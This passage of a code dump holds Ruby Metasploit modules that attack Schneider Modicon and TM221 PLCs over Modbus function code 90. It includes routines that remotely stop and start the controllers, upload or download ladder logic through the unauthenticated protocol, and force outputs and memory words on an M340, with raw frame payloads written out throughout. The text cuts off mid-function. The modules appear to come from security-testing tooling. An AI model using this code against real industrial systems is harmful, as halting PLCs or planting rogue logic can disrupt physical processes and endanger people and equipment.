108 | sendframe(makeframe(payload))
109 | payload = "\x00\x5a\x00\x04"
110 | sendframe(makeframe(payload))
111 | payload = "\x00\x5a\x00\x04"
112 | sendframe(makeframe(payload))
113 | payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
114 | sendframe(makeframe(payload))
115 | payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
116 | sendframe(makeframe(payload))
117 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
118 | sendframe(makeframe(payload))
119 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
120 | sendframe(makeframe(payload))
121 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
122 | sendframe(makeframe(payload))
123 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
124 | sendframe(makeframe(payload))
125 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
126 | sendframe(makeframe(payload))
127 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
128 | sendframe(makeframe(payload))
129 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
130 | sendframe(makeframe(payload))
131 | payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
132 | sendframe(makeframe(payload))
133 | payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
134 | sendframe(makeframe(payload))
135 | payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
136 | sendframe(makeframe(payload))
137 | payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
138 | payload += "USER-714E74F21B" # Yep, really
139 | #payload += "META-SPLOITMETA"
140 | sendframe(makeframe(payload))
141 | payload = "\x00\x5a\x01\x04"
142 | sendframe(makeframe(payload))
143 | payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
144 | sendframe(makeframe(payload))
145 | payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
146 | sendframe(makeframe(payload))
147 | payload = "\x00\x5a\x01\x12"
148 | sendframe(makeframe(payload))
149 | payload = "\x00\x5a\x01\x04"
150 | sendframe(makeframe(payload))
151 | payload = "\x00\x5a\x01\x12"
152 | sendframe(makeframe(payload))
153 | payload = "\x00\x5a\x01\x04"
154 | sendframe(makeframe(payload))
155 | payload = "\x00\x5a\x00\x02"
156 | sendframe(makeframe(payload))
157 | payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
158 | sendframe(makeframe(payload))
159 | payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
160 | sendframe(makeframe(payload))
161 | payload = "\x00\x5a\x01\x04"
162 | sendframe(makeframe(payload))
163 | payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
164 | sendframe(makeframe(payload))
165 | end
166 |
167 | def stop_modicon
168 | payload = "\x00\x5a\x01\x41\xff\x00"
169 | sendframe(makeframe(payload))
170 | payload = "\x00\x5a\x01\x04"
171 | sendframe(makeframe(payload))
172 | end
173 |
174 | def start_modicon
175 | payload = "\x00\x5a\x01\x40\xff\x00"
176 | sendframe(makeframe(payload))
177 | payload = "\x00\x5a\x01\x04"
178 | sendframe(makeframe(payload))
179 | end
180 |
181 | def logout_modicon
182 | payload = "\x00\x5a\00\x58\x02\x01\x00\x00\x00\x00\x00\x00\x00"
183 | sendframe(makeframe(payload))
184 | payload = "\x00\x5a\01\x11"
185 | sendframe(makeframe(payload))
186 | end
187 |
188 | def stop
189 | print_status("Sending initialization requests ...")
190 | payload = "\x01\x5a\x00\x02"
191 | api = sendframe(makeframe(payload))
192 | if api.nil?
193 | print_error("No answer from PLC")
194 | else
195 | print_good("PLC model : " + api[33..44].to_s)
196 | if api[33..35] == "TM2"
197 | print_good("Stopping TM221")
198 | stop_TM221
199 | elsif api[33..35] == "BMX"
200 | print_good("Stopping Modicon")
201 | init_modicon
202 | stop_modicon
203 | logout_modicon
204 | else
205 | print_error("PLC not recognized")
206 | end
207 | end
208 | end
209 |
210 | def start
211 | print_status("Sending initialization requests ...")
212 | payload = "\x01\x5a\x00\x02"
213 | api = sendframe(makeframe(payload))
214 | if api.nil?
215 | print_error("No answer from PLC")
216 | else
217 | print_good("PLC model : " + api[33..44].to_s)
218 | if api[33..35] == "TM2"
219 | print_good("Starting TM221")
220 | start_TM221
221 | elsif api[33..35] == "BMX"
222 | print_good("Starting Modicon")
223 | init_modicon
224 | start_modicon
225 | logout_modicon
226 | else
227 | print_error("PLC not recognized")
228 | end
229 | end
230 | end
231 |
232 | def run
233 | @modbuscounter = 0x0000 # used for modbus frames
234 | connect
235 | case datastore['MODE']
236 | when "STOP"
237 | stop
238 | when "RUN"
239 | start
240 | else
241 | print_error("Invalid MODE")
242 | return
243 | end
244 | end
245 | end
246 |
--------------------------------------------------------------------------------
/modicon_stux_transfer_ASO.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http//metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 |
8 | class Metasploit3 < Msf::Auxiliary
9 |
10 | include Msf::Exploit::Remote::Tcp
11 | include Rex::Socket::Tcp
12 | include Msf::Auxiliary::Report
13 |
14 | def initialize(info = {})
15 | super(update_info(info,
16 | 'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
17 | 'Description' => %q{
18 | The Schneider Modicon with Unity series of PLCs use Modbus function
19 | code 90 (0x5a) to send and receive ladder logic. The protocol is
20 | unauthenticated, and allows a rogue host to retrieve the existing
21 | logic and to upload new logic.
22 |
23 | Three actions are supported : Gather informations,
24 | download the ladder logic or upload a new ladder logic.
25 | In either mode, FILENAME must be set to a valid path to an existing
26 | file (UPLOAD) or a new file (DOWNLOAD), and the directory must
27 | already exist. The default, 'modicon_ladder.apx' is a blank
28 | ladder logic file which can be used for testing.
29 |
30 | This module is based on the original 'modiconstux.rb' Basecamp module from
31 | DigitalBond.
32 | },
33 | 'Author' =>
34 | [
35 | 'Arnaud Soullie ', # fix module, add info gathering, refactor
36 | 'K. Reid Wightman ', # original module
37 | 'todb' # Metasploit fixups
38 | ],
39 | 'License' => MSF_LICENSE,
40 | 'References' =>
41 | [
42 | [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
43 | ],
44 | 'DisclosureDate' => 'Apr 5 2012',
45 | 'Actions' =>
46 | [
47 | ['GATHER_INFOS', { 'Description' => 'Get informations about the PLC configuration' } ],
48 | ['DOWNLOAD', { 'Description' => 'Download the ladder logic from the PLC' } ],
49 | ['UPLOAD', { 'Description' => 'Upload a ladder logic file to the PLC' } ],
50 | ]
51 | ))
52 |
53 | register_options(
54 | [
55 | OptString.new('FILENAME',
56 | [
57 | true,
58 | "The file to send or receive",
59 | File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
60 | ]),
61 | Opt::RPORT(502)
62 | ], self.class)
63 |
64 | end
65 |
66 | def run
67 | unless valid_filename?
68 | print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
69 | return nil
70 | end
71 | @modbus_counter = 0x0000 # used for modbus frames
72 | connect
73 | init
74 | case datastore['ACTION']
75 | when "DOWNLOAD"
76 | readfile
77 | when "UPLOAD"
78 | writefile
79 | when "GATHER_INFOS"
80 | gather_infos
81 | end
82 | end
83 |
84 | def handle_error(response)
85 | case response.reverse.unpack("c")[0].to_i
86 | when 1
87 | print_error("Error : ILLEGAL FUNCTION")
88 | when 2
89 | print_error("Error : ILLEGAL DATA ADDRESS")
90 | when 3
91 | print_error("Error : ILLEGAL DATA VALUE")
92 | when 4
93 | print_error("Error : SLAVE DEVICE FAILURE")
94 | when 6
95 | print_error("Error : SLAVE DEVICE BUSY")
96 | else
97 | print_error("Unknown error")
98 | end
99 | exit
100 | end
101 |
102 | def valid_filename?
103 | if datastore['MODE'] == "SEND"
104 | File.readable? datastore['FILENAME']
105 | else
106 | File.writable?(File.split(datastore['FILENAME'])[0].to_s)
107 | end
108 | end
109 |
110 | # this is used for building a Modbus frame
111 | # just prepends the payload with a modbus header
112 | def make_frame(packetdata)
113 | if packetdata.size > 255
114 | print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
115 | return
116 | end
117 | payload = [@modbus_counter].pack("n")
118 | payload += "\x00\x00\x00" #dunno what these are
119 | payload += [packetdata.size].pack("c") # size byte
120 | payload += packetdata
121 | end
122 |
123 | # a wrapper just to be sure we increment the counter
124 | def send_frame(payload)
125 | sock.put(payload)
126 | @modbus_counter += 1
127 | r = sock.get(sock.def_read_timeout)
128 | if r.nil?
129 | print_error("No answer from target")
130 | exit
131 | elsif r.unpack("C*")[-2] == 218
132 | #print_error("Apparently there is an error")
133 | #handle_error(r)
134 | return r
135 | else
136 | return r
137 | end
138 | end
139 |
140 | # This function sends some initialization requests
141 | # required for priming the Quantum
142 | def init
143 | send_frame(make_frame("\x00\x5a\x00\x02"))
144 | send_frame(make_frame("\x00\x5a\x00\x01\x00"))
145 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9))
146 | send_frame(make_frame("\x00\x5a\x00\x03\x00"))
147 | send_frame(make_frame("\x00\x5a\x00\x03\x04"))
148 | send_frame(make_frame("\x00\x5a\x00\x04"))
149 | send_frame(make_frame("\x00\x5a\x00\x01\x00"))
150 | payload = "\x00\x5a\x00\x0a\x00"
151 | (0..0xf9).each { |x| payload += [x].pack("c") }
152 | send_frame(make_frame(payload))
153 | send_frame(make_frame("\x00\x5a\x00\x04"))
154 | send_frame(make_frame("\x00\x5a\x00\x04"))
155 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
156 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
157 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"))
158 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"))
159 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"))
160 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"))
161 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"))
162 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"))
163 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"))
164 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"))
165 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
166 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
167 | payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
168 | #payload += "USER-714E74F21B" # Yep, really
169 | payload += "META-SPLOITMETA"
170 | send_frame(make_frame(payload))
171 | send_frame(make_frame("\x00\x5a\x01\x04"))
172 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x0b"))
173 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07"))
174 | send_frame(make_frame("\x00\x5a\x01\x12"))
175 | send_frame(make_frame("\x00\x5a\x01\x04"))
176 | send_frame(make_frame("\x00\x5a\x01\x12"))
177 | send_frame(make_frame("\x00\x5a\x01\x04"))
178 | send_frame(make_frame("\x00\x5a\x00\x02"))
179 | send_frame(make_frame("\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"))
180 | send_frame(make_frame("\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"))
181 | send_frame(make_frame("\x00\x5a\x01\x04"))
182 | send_frame(make_frame("\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"))
183 | end
184 |
185 |
186 | def gather_infos
187 | print_status("Sending initialization requests ...")
188 | api = send_frame(make_frame("\x00\x5a\x00\x02"))
189 | print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3])
190 | send_frame(make_frame("\x00\x5a\x00\x01\x00"))
191 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9))
192 | project_name = send_frame(make_frame("\x00\x5a\x00\x03\x00"))
193 | print_good('Project name : ' + project_name.split[2].to_s)
194 | send_frame(make_frame("\x00\x5a\x00\x03\x04"))
195 | send_frame(make_frame("\x00\x5a\x00\x04"))
196 | send_frame(make_frame("\x00\x5a\x00\x01\x00"))
197 | payload = "\x00\x5a\x00\x0a\x00"
198 | (0..0xf9).each { |x| payload += [x].pack("c") }
199 | send_frame(make_frame(payload))
200 | send_frame(make_frame("\x00\x5a\x00\x04"))
201 | send_frame(make_frame("\x00\x5a\x00\x04"))
202 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
203 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
204 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"))
205 | data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"))
206 | tableau = []
207 | data.bytes.each do |byte|
208 | tableau.push(byte.to_s)
209 | end
210 | @uaelbat = tableau.reverse
211 | nb_to_delete = 1
212 | for i in 1..tableau.size
213 | if @uaelbat[i].to_s != '0'
214 | break
215 | elsif @uaelbat[i].to_s == '0'
216 | nb_to_delete +=1
217 | end
218 | end
219 | tableau2 = @uaelbat[nb_to_delete..@uaelbat.size]
220 | test = tableau2.split('0')
221 | unity_version = ''
222 | test[0].each do |char|
223 | unity_version += [char.to_i].pack("c")
224 | end
225 | print_good("Unity software version : " + unity_version.reverse)
226 | comments =''
227 | test[7].each do |char|
228 | comments += [char.to_i].pack("c")
229 | end
230 | print_good("Project comments : " + comments.reverse)
231 | end
232 |
233 |
234 |
235 |
236 | # Write the contents of local file filename to the target's filenumber
237 | # blank logic files will be available on the Digital Bond website
238 | def writefile
239 | print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
240 | #blocksize = 244 # bytes per block in file transfer
241 | blocksize = 218 # bytes per block in file transfer
242 | buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read }
243 | fullblocks = buf.length / blocksize
244 | #if fullblocks > 255
245 | # print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
246 | # return
247 | #end
248 | print_status "Total number of blocks : #{fullblocks}"
249 | lastblocksize = buf.length - (blocksize*fullblocks)
250 | lastblocksize_enhexa = [lastblocksize].pack("c")
251 | print_status "Last block size : #{lastblocksize}"
252 | fileblocks = fullblocks
253 | if lastblocksize != 0
254 | fileblocks += 1
255 | end
256 | filetype = buf[0..2]
257 | if filetype == "APX"
258 | filenum = "\x01"
259 | elsif filetype == "APB"
260 | filenum = "\x10"
261 | end
262 | send_frame(make_frame("\x00\x5a\x01\x41\xff\x00"))
263 | send_frame(make_frame("\x00\x5a\x00\x03\x01"))
264 | send_frame(make_frame("\x00\x5a\x01\x04"))
265 | send_frame(make_frame("\x00\x5a\x00\x02"))
266 | send_frame(make_frame("\x00\x5a\x00\x02"))
267 | send_frame(make_frame("\x00\x5a\x01\x04"))
268 | send_frame(make_frame("\x00\x5a\x01\x04"))
269 | send_frame(make_frame("\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xe1\x00"))
270 | send_frame(make_frame("\x00\x5a\x00\x02"))
271 |
272 |
273 | send_frame(make_frame("\x00\x5a\x01\x04"))
274 | send_frame(make_frame("\x00\x5a\x00\x03\x01"))
275 | send_frame(make_frame("\x00\x5a\x00\x02"))
276 | send_frame(make_frame("\x00\x5a\x00\x02"))
277 | send_frame(make_frame("\x00\x5a\x01\x04"))
278 |
279 |
280 | payload = "\x00\x5a\x01\x30\x00"
281 | payload += filenum
282 | response = send_frame(make_frame(payload))
283 | if response[8..9] == "\x01\xfe"
284 | print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
285 | else
286 | print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
287 | return
288 | end
289 | payload = "\x00\x5a\x01\x04"
290 | send_frame(make_frame(payload))
291 | block = 1
292 | block2 = 0
293 | block_nb = 1
294 | block2status = 0 # block 2 must always be sent twice
295 | while block_nb < (fileblocks - 1)
296 | block_nb = block2*16*16 + block
297 | if block == 256
298 | block = 0
299 | block2 += 1
300 | end
301 | payload = "\x00\x5a\x01\x31\x00"
302 | payload += filenum
303 | payload += [block].pack("c")
304 | payload += [block2].pack("c")
305 | payload += "\xda\x00"
306 | payload += buf[(((block2*16*16 + block) - 1) * 218)..(((block2*16*16 + block) * 218) - 1)]
307 | res = send_frame(make_frame(payload))
308 | print_status "Envoi du block #{block_nb}/#{fullblocks} (#{block2}::#{block})"
309 | if res[8..9] != "\x01\xfe"
310 | print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block_nb}")
311 | return
312 | end
313 | # redo this iteration of the loop if we're on block 2
314 | if block2status == 0 and block == 2
315 | print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
316 | block2status = 1
317 | redo
318 | end
319 | block += 1
320 | end
321 | if lastblocksize > 0
322 | print_status "Last Block !"
323 | print_status "Size : #{lastblocksize}"
324 | payload = "\x00\x5a\x01\x31\x00"
325 | payload += filenum
326 | payload += [block].pack("c")
327 | payload += [block2].pack("c")
328 | payload += [lastblocksize].pack("c") + "\x00"
329 | payload += buf[(((block2*16*16 + block)-1) * 218)..((((block2*16*16 + block)-1) * 218) + lastblocksize)]
330 | print_status "#{rhost}:#{rport} - MODBUS - Block #{block_nb}: #{payload.inspect}"
331 | res = send_frame(make_frame(payload))
332 | if res[8..9] != "\x01\xfe"
333 | print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
334 | return
335 | end
336 | end
337 | vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
338 | payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x0a"
339 | send_frame(make_frame(payload))
340 | end
341 |
342 | # Only reading the STL file is supported at the moment :(
343 | def readfile
344 | print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
345 | file = File.open(datastore['FILENAME'], 'wb')
346 | response = send_frame(make_frame("\x00\x5a\x01\x33\x00\x01\xfb\x00"))
347 | print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
348 | block = 1
349 | block2 = 0
350 | filedata = ""
351 | finished = false
352 | while !finished
353 | if block == 256
354 | block = 0
355 | block2 += 1
356 | end
357 | payload = "\x00\x5a\x01\x34\x00\x01"
358 | payload += [block].pack("c")
359 | payload += [block2].pack("c")
360 | payload += "\x00"
361 | response = send_frame(make_frame(payload))
362 | filedata += response[0xe..-1]
363 | vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block2*255+block}: #{response[0xe..-1].inspect}"
364 | if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
365 | finished = true
366 | else
367 | block += 1
368 | end
369 | end
370 | print_status("#{rhost}:#{rport} - MODBUS - Closing file '#{datastore['FILENAME']}'")
371 | payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
372 | send_frame(make_frame(payload))
373 | # I cannot use store_loot as the "session" variable is undefined. Is it because it is an auxiliary module ?
374 | #store_loot('schneider.ladder_logic', 'application/octet-stream', nil, filedata, 'Station.apx', 'Schneider Modicon ladder logic')
375 | file.print filedata
376 | file.close
377 | end
378 |
379 | def cleanup
380 | disconnect rescue nil
381 | end
382 |
383 | end
384 |
--------------------------------------------------------------------------------
/schneider.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http//metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 | require 'msf/core'
6 | class MetasploitModule < Msf::Auxiliary
7 | include Msf::Exploit::Remote::Tcp
8 | include Rex::Socket::Tcp
9 | include Msf::Auxiliary::Report
10 | def initialize(info = {})
11 | super(update_info(info,
12 | 'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
13 | 'Description' => %q{
14 | The Schneider Modicon with Unity series of PLCs use Modbus function
15 | code 90 (0x5a) to send and receive ladder logic. The protocol is
16 | unauthenticated, and allows a rogue host to retrieve the existing
17 | logic and to upload new logic.
18 | Three actions are supported : Gather informations,
19 | download the ladder logic or upload a new ladder logic.
20 | In either mode, FILENAME must be set to a valid path to an existing
21 | file (UPLOAD) or a new file (DOWNLOAD), and the directory must
22 | already exist. The default, 'modicon_ladder.apx' is a blank
23 | ladder logic file which can be used for testing.
24 | This module is based on the original 'modiconstux.rb' Basecamp module from
25 | DigitalBond.
26 | },
27 | 'Author' =>
28 | [
29 | 'Arnaud Soullie ', # fix module, add info gathering, refactor
30 | 'K. Reid Wightman ', # original module
31 | 'todb' # Metasploit fixups
32 | ],
33 | 'License' => MSF_LICENSE,
34 | 'References' =>
35 | [
36 | [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
37 | ],
38 | 'DisclosureDate' => 'Apr 5 2012',
39 | 'Actions' =>
40 | [
41 | ['GATHER_INFOS', { 'Description' => 'Get informations about the PLC configuration' } ],
42 | ['DOWNLOAD', { 'Description' => 'Download the ladder logic from the PLC' } ],
43 | ['UPLOAD', { 'Description' => 'Upload a ladder logic file to the PLC' } ],
44 | ['FORCE_M340_OUTPUTS', { 'Description' => 'Try forcing some bits on M340' } ],
45 | ['FORCE_M340_WORDS', { 'Description' => 'Try forcing some words on M340' } ],
46 | ]
47 | ))
48 | register_options(
49 | [
50 | OptString.new('FILENAME',
51 | [
52 | true,
53 | "The file to send or receive",
54 | File.join(Msf::Config.data_directory, "exploits", "test.smbp")
55 | ]),
56 | Opt::RPORT(502)
57 | ], self.class)
58 | end
59 | def run
60 | unless valid_filename?
61 | print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
62 | return nil
63 | end
64 | @modbus_counter = 0x0000 # used for modbus frames
65 | connect
66 | #init
67 | case datastore['ACTION']
68 | when "DOWNLOAD"
69 | readfile
70 | when "UPLOAD"
71 | writefile
72 | when "GATHER_INFOS"
73 | gather_infos
74 | when "FORCE_M340_OUTPUTS"
75 | force_m340_outputs
76 | when "FORCE_M340_WORDS"
77 | force_m340_words
78 | end
79 |
80 | end
81 | def handle_error(response)
82 | case response.reverse.unpack("c")[0].to_i
83 | when 1
84 | print_error("Error : ILLEGAL FUNCTION")
85 | when 2
86 | print_error("Error : ILLEGAL DATA ADDRESS")
87 | when 3
88 | print_error("Error : ILLEGAL DATA VALUE")
89 | when 4
90 | print_error("Error : SLAVE DEVICE FAILURE")
91 | when 6
92 | print_error("Error : SLAVE DEVICE BUSY")
93 | else
94 | print_error("Unknown error")
95 | end
96 | exit
97 | end
98 | def valid_filename?
99 | if datastore['MODE'] == "SEND"
100 | File.readable? datastore['FILENAME']
101 | else
102 | File.writable?(File.split(datastore['FILENAME'])[0].to_s)
103 | end
104 | end
105 | # this is used for building a Modbus frame
106 | # just prepends the payload with a modbus header
107 | def make_frame(packetdata)
108 | if packetdata.size > 255
109 | print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
110 | return
111 | end
112 | payload = [@modbus_counter].pack("n")
113 | payload += "\x00\x00\x00" #dunno what these are
114 | payload += [packetdata.size].pack("c") # size byte
115 | payload += packetdata
116 | end
117 | # a wrapper just to be sure we increment the counter
118 | def send_frame(payload)
119 | sock.put(payload)
120 | @modbus_counter += 1
121 | r = sock.get(sock.def_read_timeout)
122 | if r.nil?
123 | print_error("No answer from target")
124 | exit
125 | elsif r.unpack("C*")[-2] == 218
126 | print_error("Apparently there is an error")
127 | #handle_error(r)
128 | else
129 | return r
130 | end
131 | end
132 | # This function sends some initialization requests
133 | # required for priming the Quantum
134 | def init
135 | send_frame(make_frame("\x00\x5a\x00\x02"))
136 | send_frame(make_frame("\x00\x5a\x00\x01\x00"))
137 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9))
138 | send_frame(make_frame("\x00\x5a\x00\x03\x00"))
139 | send_frame(make_frame("\x00\x5a\x00\x03\x04"))
140 | send_frame(make_frame("\x00\x5a\x00\x04"))
141 | send_frame(make_frame("\x00\x5a\x00\x01\x00"))
142 | payload = "\x00\x5a\x00\x0a\x00"
143 | (0..0xf9).each { |x| payload += [x].pack("c") }
144 | send_frame(make_frame(payload))
145 | send_frame(make_frame("\x00\x5a\x00\x04"))
146 | send_frame(make_frame("\x00\x5a\x00\x04"))
147 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
148 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
149 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"))
150 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"))
151 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"))
152 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"))
153 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"))
154 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"))
155 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"))
156 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"))
157 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
158 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
159 | payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
160 | #payload += "USER-714E74F21B" # Yep, really
161 | payload += "META-SPLOITMETA"
162 | send_frame(make_frame(payload))
163 | send_frame(make_frame("\x00\x5a\x01\x04"))
164 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x0b"))
165 | send_frame(make_frame("\x00\x5a\x01\x50\x15\x00\x01\x07"))
166 | send_frame(make_frame("\x00\x5a\x01\x12"))
167 | send_frame(make_frame("\x00\x5a\x01\x04"))
168 | send_frame(make_frame("\x00\x5a\x01\x12"))
169 | send_frame(make_frame("\x00\x5a\x01\x04"))
170 | send_frame(make_frame("\x00\x5a\x00\x02"))
171 | send_frame(make_frame("\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"))
172 | send_frame(make_frame("\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"))
173 | send_frame(make_frame("\x00\x5a\x01\x04"))
174 | send_frame(make_frame("\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"))
175 | end
176 | def gather_infos
177 | print_status("Sending initialization requests ...")
178 | api = send_frame(make_frame("\x00\x5a\x00\x02"))
179 | print_good("PLC model : " + api.split[1].to_s + ' ' + api.split[2] + ' ' + api.split[3][0..3])
180 | send_frame(make_frame("\x00\x5a\x00\x01\x00"))
181 | send_frame(make_frame("\x00\x5a\x00\x0a\x00" + 'T' * 0xf9))
182 | project = send_frame(make_frame("\x00\x5a\x00\x03\x00"))
183 | project_name = project.to_s
184 | print_good('Project name : ' + project_name[49..-1])
185 | send_frame(make_frame("\x00\x5a\x00\x03\x04"))
186 | send_frame(make_frame("\x00\x5a\x00\x04"))
187 | host = send_frame(make_frame("\x00\x5a\x00\x01\x00"))
188 | host_name = host.to_s
189 | #print_good('host : ' + host_name)
190 | print_good('Hostname running Unity : ' + host_name[19..-1])
191 | payload = "\x00\x5a\x00\x0a\x00"
192 | (0..0xf9).each { |x| payload += [x].pack("c") }
193 | send_frame(make_frame(payload))
194 | send_frame(make_frame("\x00\x5a\x00\x04"))
195 | send_frame(make_frame("\x00\x5a\x00\x04"))
196 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"))
197 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"))
198 | send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"))
199 | data = send_frame(make_frame("\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"))
200 | tableau = []
201 | data.bytes.each do |byte|
202 | tableau.push(byte.to_s)
203 | end
204 | @uaelbat = tableau.reverse
205 | nb_to_delete = 1
206 | for i in 1..tableau.size
207 | if @uaelbat[i].to_s != '0'
208 | break
209 | elsif @uaelbat[i].to_s == '0'
210 | nb_to_delete +=1
211 | end
212 | end
213 | tableau2 = @uaelbat[nb_to_delete..@uaelbat.size]
214 | test = tableau2.split('0')
215 | unity_version = ''
216 | test[0].each do |char|
217 | unity_version += [char.to_i].pack("c")
218 | end
219 | print_good("Unity software version : " + unity_version.reverse)
220 | comments =''
221 | test[7].each do |char|
